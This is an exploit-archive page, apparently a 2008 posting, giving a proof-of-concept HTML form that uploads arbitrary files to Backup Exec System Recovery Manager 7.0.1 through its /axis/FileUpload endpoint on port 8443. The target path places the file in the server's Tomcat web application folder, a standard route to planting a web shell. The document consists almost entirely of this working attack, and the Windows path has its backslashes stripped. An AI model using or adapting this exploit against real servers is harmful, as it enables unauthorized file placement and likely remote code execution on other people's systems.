[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit
# Published : 2008-02-07
# Author : titon
# Previous Title : Microsoft DirectSpeechSynthesis Module Remote Buffer Overflow Exploit
# Next Title : SapLPD 6.28 Remote Buffer Overflow Exploit (win32) 


<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:Program FilesSymantecBackup Exec System
RecoveryManagerServicestomcatWebAppsaxis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>

# www.Syue.com [2008-02-07]